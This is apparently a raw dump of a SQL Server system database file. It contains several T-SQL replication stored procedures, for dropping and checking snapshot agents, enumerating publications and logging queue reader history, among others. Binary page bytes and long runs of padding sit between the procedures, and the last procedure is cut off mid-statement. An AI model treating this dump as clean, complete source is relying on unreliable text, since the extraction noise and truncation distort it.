0Wi h8Y;ho>8^}ԃ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`I<S	C0: 
8create procedure sys.sp_MSgetarticlereinitvalue 
(
    @subscriber sysname,
    @subscriberdb sysname,
    @publication sysname,
    @artid int, 
    @reinit int output
)
as
begin
    set NOCOUNT ON
    declare @retcode int
    
    --
    -- return NULL if no parameters supplied
    --
    if ((@subscriber IS NULL) or (@subscriberdb IS NULL) or (@publication is null) or (@artid IS NULL))
    begin
        select @reinit = NULL
        return 1
    end
    --
    -- PAL security check
    --
    exec @retcode = sys.sp_MSreplcheck_pull @publication = @publication
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- get the value of reinit flag
    --
    select @reinit = queued_reinit 
    from syssubscriptions 
        where srvname = UPPER(@subscriber) 
		and (srvname is not null and len(srvname)> 0)
        and artid = @artid 
        and dest_db = @subscriberdb
    --
    -- All done
    --
    return 0
end
0> 8create procedure sys.sp_MSdrop_snapshot_agent 
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname
) 
AS
begin

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @retcode    int
    DECLARE @job_id     binary(16)
    DECLARE @job_step_uid uniqueidentifier
    DECLARE @local_job  bit
    DECLARE @publisher_id smallint
    DECLARE @name       nvarchar(100)
    DECLARE @agent_id   int
    declare @no_of_agents int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSdrop_snapshot_agent', 'distribution')
        return (1)
    end

    /*
    ** Initializations
    */
    select @publisher_id = srvid from master.dbo.sysservers where
        UPPER(srvname) = UPPER(@publisher)

    -- if this is a merge publiction which is dynamically filtered and we have
    -- dynamic snapshot jobs we should delete the dynamic snapshot jobs as well 
    -- for this publication
    select @no_of_agents = count(*) from MSsnapshot_agents WHERE
        publisher_id = @publisher_id AND
        publisher_db = @publisher_db AND
        publication = @publication

    if @no_of_agents = 1
    begin
        SELECT @job_id = job_id, @job_step_uid = job_step_uid, @local_job = local_job, @name = name, @agent_id = id  FROM MSsnapshot_agents WHERE
            publisher_id = @publisher_id AND
            publisher_db = @publisher_db AND
            publication = @publication

        -- Delete Perfmon instance
        dbcc deleteinstance ("SQL Replication Snapshot", @name)

        -- Return if not exists
        IF @local_job IS NULL
            RETURN(0)

        BEGIN TRAN

        IF @local_job = 1
        BEGIN
            -- Don't drop the job for third party publications.
            if exists (select * from msdb..MSdistpublishers where 
                UPPER(name) = UPPER(@publisher) and
                thirdparty_flag = 0)
            begin                           
                IF EXISTS (SELECT * FROM msdb.dbo.sysjobs_view WHERE job_id = @job_id)
                BEGIN
                    -- Checks if job name was generated by replication
                    EXEC @retcode = sys.sp_MSissnapshotjobnamegenerated
                                        @publisher = @publisher,
                                        @publisher_db = @publisher_db,
                                        @publication = @publication,
                                        @job_id = @job_id
                    IF @@ERROR <> 0 
                        GOTO UNDO
                    
                    -- Only drop the job if the name was generated
                    IF @retcode = 0                
                    BEGIN
                        EXEC @retcode = sys.sp_MSdrop_repl_job @job_id = @job_id,
                        										@job_step_uid = @job_step_uid
                        IF @@ERROR <> 0 or @retcode <> 0
                            GOTO UNDO
                    END
                END
            end
        END

        DELETE MSsnapshot_agents WHERE id = @agent_id
        IF @@ERROR <> 0 
            GOTO UNDO

        -- Remove history
        DELETE MSsnapshot_history WHERE agent_id = @agent_id
        IF @@ERROR <> 0 
            GOTO UNDO
            
        COMMIT TRAN
    END
    ELSE
    BEGIN
        -- this case can only happen if this is a merge publication and we have regular and
        -- dynamic snapshot agents for it.
        BEGIN TRAN

        declare agents_cursor CURSOR LOCAL FAST_FORWARD FOR select job_id, job_step_uid, local_job, name, id from MSsnapshot_agents where 
            publisher_id = @publisher_id and
            publisher_db = @publisher_db AND
            publication = @publication
        open agents_cursor
        fetch agents_cursor into @job_id, @job_step_uid, @local_job, @name, @agent_id
        while (@@fetch_status <> -1)
        begin
             -- Delete Perfmon instance
            dbcc deleteinstance ("SQL Replication Snapshot", @name)

            -- Return if not exists
            IF @local_job = 1
            begin
                -- ignore errors if the job does not exist
                if exists (select * from msdb.dbo.sysjobs where job_id = @job_id)
                begin
                    EXEC @retcode = sys.sp_MSdrop_repl_job @job_id = @job_id, 
                    										@job_step_uid = @job_step_uid
                    IF @@ERROR <> 0 or @retcode <> 0
                        GOTO UNDO
                end
            end
            
            DELETE MSsnapshot_agents WHERE id = @agent_id
            IF @@ERROR <> 0 
                GOTO UNDO

            -- Remove history
            DELETE MSsnapshot_history WHERE agent_id = @agent_id
            IF @@ERROR <> 0 
                GOTO UNDO
                
            fetch agents_cursor into @job_id, @job_step_uid, @local_job, @name, @agent_id
        end
        close agents_cursor
        deallocate agents_cursor            
        COMMIT TRAN
    END
    RETURN(0)

UNDO:
    if @@TRANCOUNT = 1
        ROLLBACK TRAN
    else
        COMMIT TRAN
    return(1)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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!j`<W	sU0a@ 8
create procedure sys.sp_MSenumtranpublications
(
    @publication sysname = NULL,
    @category int,
    @empty_tranpub bit = 0
)
as
BEGIN
    set nocount on

    --
    -- This SP depends on the pre-creation 
    -- of the temp table #MSenumpublications
    --
    
    -- Determine if distribution db or publisher db
    if (@category & 16 = 16)
    begin
        -- Get matching HREPL publications
        insert into #MSenumpublications
        SELECT ss.srvname,
                ihp.name,
                1,
                ihp.immediate_sync,
                ihp.allow_pull,
                ihp.allow_anonymous, 
                ihp.enabled_for_internet,
                ihp.repl_freq,
                ihp.immediate_sync_ready, 
                ihp.allow_sync_tran,
                ihp.independent_agent,
                is_member('db_owner'),
                0,                                -- thirdparty
                ss.srvproduct,
                ss.srvname,
                msdp.publisher_type,
                ihp.description,
                db_name(),
                ihp.allow_queued_tran,
                ihp.allow_dts,
                convert(int,null),                -- thirdparty_options
                ihp.queue_type,
                0                                -- dynamic_filters
        from dbo.IHpublications as ihp
            join dbo.MSpublications as msp on ihp.pubid = msp.publication_id
            join master.dbo.sysservers as ss on msp.publisher_id = ss.srvid
            join msdb.dbo.MSdistpublishers as msdp on ss.srvname = msdp.name
        where (@empty_tranpub = 1 or exists
            (
                select    *
                from    dbo.sysextendedarticlesview art
                where    ihp.pubid = art.pubid
            ))
          and ihp.status <> 0
          and (@publication is null or ihp.name = @publication)
    end
    else 
    begin
        insert into #MSenumpublications
        select db_name(),
                name,
                1,
                immediate_sync,
                allow_pull,
                allow_anonymous, 
                enabled_for_internet,
                repl_freq,
                immediate_sync_ready, 
                allow_sync_tran,
                independent_agent,
                is_member('db_owner'),
                0,                                -- thirdparty
                N'Microsoft SQL Server',
                publishingservername(),
                N'MSSQLSERVER',
                description,
                convert(sysname, null),
                allow_queued_tran,
                allow_dts,
                convert(int,null),                -- thirdparty_options
                queue_type,
                0                                -- dynamic_filters
        from dbo.syspublications as pubs
        where (@empty_tranpub = 1 or exists
                (
                    select    *
                    from    dbo.sysextendedarticlesview art
                    where    pubs.pubid = art.pubid
                ))
          and    status <> 0
          and    (@publication is null or pubs.name = @publication)
    end
END
0 8create procedure sys.sp_MScheck_snapshot_agent 
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @valid_agent_exists bit = NULL output
) 
AS
begin

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @retcode    int
    DECLARE @job_id     binary(16)
    DECLARE @job_step_uid uniqueidentifier
    DECLARE @local_job  bit
    DECLARE @publisher_id smallint
    DECLARE @name       nvarchar(100)
    DECLARE @agent_id   int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MScheck_snapshot_agent', 'distribution')
        return (1)
    end

    select @valid_agent_exists = 0
    
    /*
    ** Initializations
    */
    select @publisher_id = srvid from master.dbo.sysservers where
        UPPER(srvname) = UPPER(@publisher)

    -- Look for the regular snapshot agen
    SELECT @job_id = job_id, @job_step_uid = job_step_uid, @local_job = local_job, @name = name, @agent_id = id  FROM MSsnapshot_agents WHERE
        publisher_id = @publisher_id AND
        publisher_db = @publisher_db AND
        publication = @publication and
        dynamic_filter_login is NULL and
        dynamic_filter_hostname is NULL
        
    -- Return if not exists
    IF @local_job IS NULL
        return(0)

    IF @local_job = 1 and EXISTS (SELECT * FROM msdb.dbo.sysjobs_view WHERE job_id = @job_id)
        select @valid_agent_exists = 1

    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!A
`	<	9B~T0AO 8
create procedure sys.sp_oledb_database
as
    select
        name
    from
        sys.databases
0ڡ@ T8create procedure sys.sp_ORbitmap (
    @inputbitmap1 varbinary(128), 
    @inputbitmap2 varbinary(128),
    @resultbitmap3 varbinary(128)    OUTPUT
)
as
begin
    declare @retcode    int
    exec @retcode = sys.xp_ORbitmap @inputbitmap1,@inputbitmap2,@resultbitmap3 output
    return @retcode
end
0^ W8CREATE PROCEDURE sys.sp_MShelp_merge_agentid 
(
    @publisher_id       smallint,
    @publisher_db       sysname,
    @publication        sysname,
    @subscriber_id      smallint,
    @subscriber_db      sysname,
    @subscriber_version	int = 60, -- 60=shiloh sp3 or lower, 90=yukon
    @subscriber			sysname = NULL
)
AS
begin
    declare @publisher		sysname
    declare @expired		int
    declare @agent_id 		int
    declare @name 			sysname
    declare @retention 		int
    declare @retention_period_unit	tinyint
    declare @last_status	int
    declare @last_history	datetime
    declare @min_valid_day 	datetime
    declare @reinited 		int
    declare @status 		int
    declare @success		int
    declare @publication_id	int
    declare @subscriber_datasource_type int
    declare @sql_subscriber	int
    declare @sub_version int

    select @expired = 0
    select @reinited = 4
    select @success = 2

    select @subscriber_datasource_type = 0
    select @sql_subscriber = 0

	if not EXISTS (select * from dbo.MSpublications 
		where publisher_id=@publisher_id 
		and publisher_db = @publisher_db
		and publication = @publication
		and publication_type = 2) -- merge publication is gone
	begin
		select 1, @publication, 1, 0 --third column = 1 means publication is gone, making the other values meanningless.
		return (1)
	end

   	select @publication_id = publication_id 
		from dbo.MSpublications
		where publisher_id = @publisher_id and
			  publisher_db = @publisher_db and
			  publication = @publication

	-- Get subscriber info
	if @subscriber IS NULL
		begin
		    select @subscriber = srvname from master.dbo.sysservers where srvid = @subscriber_id
		end
	select @publisher = srvname from master.dbo.sysservers where srvid = @publisher_id

    select @subscriber_datasource_type = type
        from MSsubscriber_info 
        where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber)

	if (@subscriber_datasource_type = @sql_subscriber)
	begin
		select @status = status, @sub_version = subscriber_version from dbo.MSmerge_subscriptions where
			publisher_id = @publisher_id and 
			publisher_db = @publisher_db and 
			publication_id = @publication_id and
			UPPER(subscriber) = UPPER(@subscriber) and
			subscriber_db = @subscriber_db

		select @agent_id = id, @name = name from dbo.MSmerge_agents 
	        where publisher_id = @publisher_id 
			and publisher_db = @publisher_db
			and publication = @publication
			and UPPER(subscriber_name) = UPPER(@subscriber)
			and subscriber_db = @subscriber_db
	end
	else
	begin
		select @status = status, @sub_version = subscriber_version from dbo.MSmerge_subscriptions where
			publisher_id = @publisher_id and 
			publisher_db = @publisher_db and 
			publication_id = @publication_id and
			UPPER(subscriber) = UPPER(@subscriber)

		select @agent_id = id, @name = name from dbo.MSmerge_agents 
	        where publisher_id = @publisher_id 
			and publisher_db = @publisher_db
			and publication = @publication
			and UPPER(subscriber_name) = UPPER(@subscriber)
	end

    -- Security check. Do it here to let the agent fail at the beginning
    if @agent_id is not null
    begin
        exec sys.sp_MScheck_pull_access @agent_id = @agent_id, @agent_type = 1 -- merge agent

        if @sub_version is NULL
            select @sub_version = @subscriber_version
            
        if @sub_version < 90
        begin
			select @retention = retention, @retention_period_unit = retention_period_unit
				from dbo.MSpublications 
				where publisher_id=@publisher_id and publisher_db=@publisher_db and publication=@publication 

			if @retention is not NULL and @retention > 0
			begin
				select @min_valid_day = sys.fn_add_units_to_date(@retention * (-1), @retention_period_unit, getdate()) 
        		-- only do history based expiration if there is a valid successful run information available.    	
				-- If we do not find the history for the last successful run we will not cleanup.
				-- however a seperate cleanup happens that uses the last_sync_time on the publisher. So
				-- even if we do not cleanup here sp_MSdrop_expired_mergesubscription will take care of it
				select Top 1 @last_status = runstatus, @last_history = end_time 
        			from dbo.MSmerge_sessions where agent_id = @agent_id and runstatus=2 order by session_id DESC

				/*
				commeting out since we do not want to use the failed history information
        		if @last_status = 6 and EXISTS (select * from dbo.MSmerge_history where  agent_id = @agent_id and runstatus = 2) 
        			select Top 1 @last_history = time from dbo.MSmerge_history where agent_id = @agent_id and runstatus = 2
        							order by time DESC
        		*/
        		if @last_history is not NULL
        		begin
    				if @last_history < @min_valid_day --and @status <> @reinited //We no longer consider marked-for-reinit subscriptions as exempt for expiry
    					select @expired = 1
    			end
			end
		end
	end

    select @agent_id, @name, 0, @expired where @agent_id is not NULL
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!@w=`	<H	)U0 V8CREATE PROCEDURE sys.sp_MSadd_qreader_history (
	@agent_id int,
	@pubid int = NULL,
	@runstatus int, 
	@comments nvarchar(1000) = NULL,
	@transaction_id nvarchar(40) = NULL,
	@transaction_status int = 0,
	@transactions_processed int =0,
	@commands_processed int = 0,
	@seconds_elapsed int = 0,
	@subscriber sysname = NULL,
	@subscriberdb sysname = NULL,
	@perfmon_increment bit = 1,
	@log_error bit = 0,
	@update_existing_row bit = 0,
	@do_raiserror bit = 1)
AS
BEGIN
	DECLARE @current_time datetime
			,@start_time datetime
			,@duration int
			,@agent_name nvarchar(100)
			,@publisher sysname
			,@publisher_db sysname
			,@publication sysname
			,@lastrow_timestamp timestamp
			,@retcode int
			,@cmdprocessed_rate float
			,@transaction_rate float
			,@error_id int
			,@idle int
			,@succeed int
			,@startup int
			,@retry int
			,@failure int
			,@inprogress int
			,@database sysname
			,@statobjid int
			,@agentclassname sysname
			,@prev_runstatus int


    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
	--
	-- Status const defined in sqlrepl.h 
	--
	select @startup = 1
			,@succeed = 2
			,@inprogress = 3
			,@idle = 4
			,@retry = 5
			,@failure = 6

	-- intializations
	if (@pubid = 0)
		select @pubid = NULL
	if (@comments = '')
		select @comments = NULL
	if (@transaction_id = '')
		select @transaction_id = NULL
	if (@commands_processed is NULL)
		select @commands_processed = 0
	if (@subscriber = '')
		select @subscriber = NULL
	if (@subscriberdb = '')
		select @subscriberdb = NULL		

	SELECT @database = db_name()
			,@current_time = GETDATE()

	-- Get named information
	select @agent_name = name from MSqreader_agents where id = @agent_id
	if (@agent_name IS NULL)
	begin
		--
		-- When Queue reader is shutting down due to the last queued subscription
		-- being dropped it may happen that before the Queue reader logs the shutdown 
		-- message, the subscription drop process deletes the agent entry from MSqreader_agents
		--
		select @agent_name = quotename(@@servername) + '.' + cast(db_id() as nvarchar)
	end
	if (@pubid is NULL)
	begin
		select @publisher = NULL
				,@publisher_db = NULL
				,@publication = NULL
	end
	else
	begin
		select @publisher = a.srvname, @publisher_db = b.publisher_db, @publication = b.publication
		from master.dbo.sysservers a, dbo.MSpublications b
		where
		    b.publisher_id= @pubid and
		    b.publisher_id = a.srvid
	end

	-- Update Perfmon counter
	if @perfmon_increment = 1
	begin
		if @runstatus = @startup
			dbcc incrementinstance ("SQL Replication Agents", "Running", "QueueReader", 1)
		else if (@runstatus = @succeed or @runstatus = @retry or @runstatus = @failure)
			dbcc incrementinstance ("SQL Replication Agents", "Running", "QueueReader", -1)
	end

	-- Get start_time for latest agent run

	SELECT TOP 1 
		@prev_runstatus = runstatus,
		@start_time = start_time, 
		@lastrow_timestamp = timestamp
	FROM MSqreader_history with (rowlock)
	WHERE 
	agent_id = @agent_id
	ORDER BY timestamp DESC

	-- If we are starting through SQL Agent - there might already be
	-- a startup logged in history
	IF (@runstatus = @startup)
	begin
    	IF @prev_runstatus not IN (@startup, @retry)
    	BEGIN
        	SELECT @start_time = @current_time
        END
	end
	
	if (@start_time is NULL)
	begin
		select @runstatus = @startup,
			@start_time = @current_time
	end

	-- Calculate agent run duration
	SELECT @duration = DATEDIFF(second, @start_time, @current_time) 

	-- Calculate rate of processing
	IF (@seconds_elapsed IS NOT NULL and @seconds_elapsed > 0)
	BEGIN
		SELECT @cmdprocessed_rate = (@commands_processed * 1.0)/@seconds_elapsed
				,@transaction_rate = (@transactions_processed * 1.0)/@seconds_elapsed
	END
	ELSE
	BEGIN
		SELECT @cmdprocessed_rate = 0.0
				,@transaction_rate = 0.0
	END

	-- Set Perfmon counters
	if @runstatus = @idle or @runstatus = @inprogress
	begin
		dbcc addinstance ("SQL Replication QueueReader", @agent_name)
--		dbcc incrementinstance ("SQL Replication QueueReader", "QueueReader:Delivered Cmds/sec", @agent_name, @cmdprocessed_rate)
--		dbcc incrementinstance ("SQL Replication QueueReader", "QueueReader:Delivered Trans/sec", @agent_name, @transaction_rate)
	end

	--
	-- Set error id to 0 unless the user want to log errors associate with this 
	-- history message.
	--
	IF (@log_error = 1)
	begin
		select @runstatus = @failure
		EXEC sys.sp_MSget_new_errorid @error_id OUTPUT
	end
	ELSE
		SELECT @error_id = 0	
	--
	-- @comments should contain message at all times
	--
	if (@comments is null)
		select @comments = isnull(formatmessage(21020), N'Message 21020')
	-- Insert idle record or update if history record is already 'idle'
	IF (@runstatus = @idle or @update_existing_row = 1)
	begin
		-- Attempt to update the last row if it is IDLE
		UPDATE MSqreader_history 
		SET 	publication_id = @pubid,
				runstatus = @runstatus, 
				time = @current_time, 
				duration = @duration,
				comments = @comments,
				transaction_id = @transaction_id,
				transaction_status = @transaction_status,
				transactions_processed = @transactions_processed,
				commands_processed = @commands_processed,
				delivery_rate = @cmdprocessed_rate,
				transaction_rate = @transaction_rate,
				subscriber = @subscriber,
				subscriberdb = @subscriberdb,
				error_id = case @error_id when 0 then error_id else @error_id end
				WHERE
				agent_id = @agent_id and
				timestamp = @lastrow_timestamp and
				runstatus = @runstatus

		-- Insert idle record if there is not one
		if (@@ROWCOUNT = 0)
		begin
			INSERT INTO MSqreader_history(agent_id, publication_id, runstatus, start_time, time, 
					duration, comments, transaction_id, transaction_status, 
					transactions_processed, commands_processed, delivery_rate, 
					transaction_rate, subscriber, subscriberdb, error_id)
			VALUES(@agent_id, @pubid, @runstatus, @start_time, @current_time, 
					@duration, @comments, @transaction_id, @transaction_status,
					@transactions_processed, @commands_processed, @cmdprocessed_rate, 
					@transaction_rate, @subscriber, @subscriberdb, @error_id)
		end
	end
	else
	begin
		INSERT INTO MSqreader_history(agent_id, publication_id, runstatus, start_time, time, 
				duration, comments, transaction_id, transaction_status, 
				transactions_processed, commands_processed, delivery_rate,
				transaction_rate, subscriber, subscriberdb, error_id)
		VALUES(@agent_id, @pubid, @runstatus, @start_time, @current_time, 
				@duration, @comments, @transaction_id, @transaction_status, 
				@transactions_processed, @commands_processed, @cmdprocessed_rate, 
				@transaction_rate, @subscriber, @subscriberdb, @error_id)
	end

	-- Raise the appropriate error
	if (@do_raiserror = 1)
	begin
		select @agentclassname = formatmessage(14581)
		exec sys.sp_MSrepl_raiserror @agentclassname, @agent_name, @runstatus, @comments
	end

	IF (@@ERROR != 0)
		RETURN (1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<"	0۝0@ 08create procedure sys.sp_MSgetMergeUpgradeSubscriberAppLock
    @timeout int = -1,
    @lockmode nvarchar(32) = N'Exclusive',
    @lock_acquired int = NULL OUTPUT
as
    set nocount on

    declare @retcode smallint
    declare @lock_resource nvarchar(255)
    declare @DbPrincipal sysname

    select @retcode = 0
    select @lock_acquired = -1

    /* 
    ** Security Check.
    */
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @retcode<>0 or @@ERROR<>0
        return 1

    -- use the dbowner role
    select @DbPrincipal = N'db_owner'
    select @lock_resource = N'MSinternal_repl_merge_upgrade_subscriber' + convert(nvarchar(6), db_id()) 

    exec @retcode = sp_getapplock @Resource = @lock_resource,
                                  @LockMode = @lockmode,
                                  @LockOwner = N'Session',
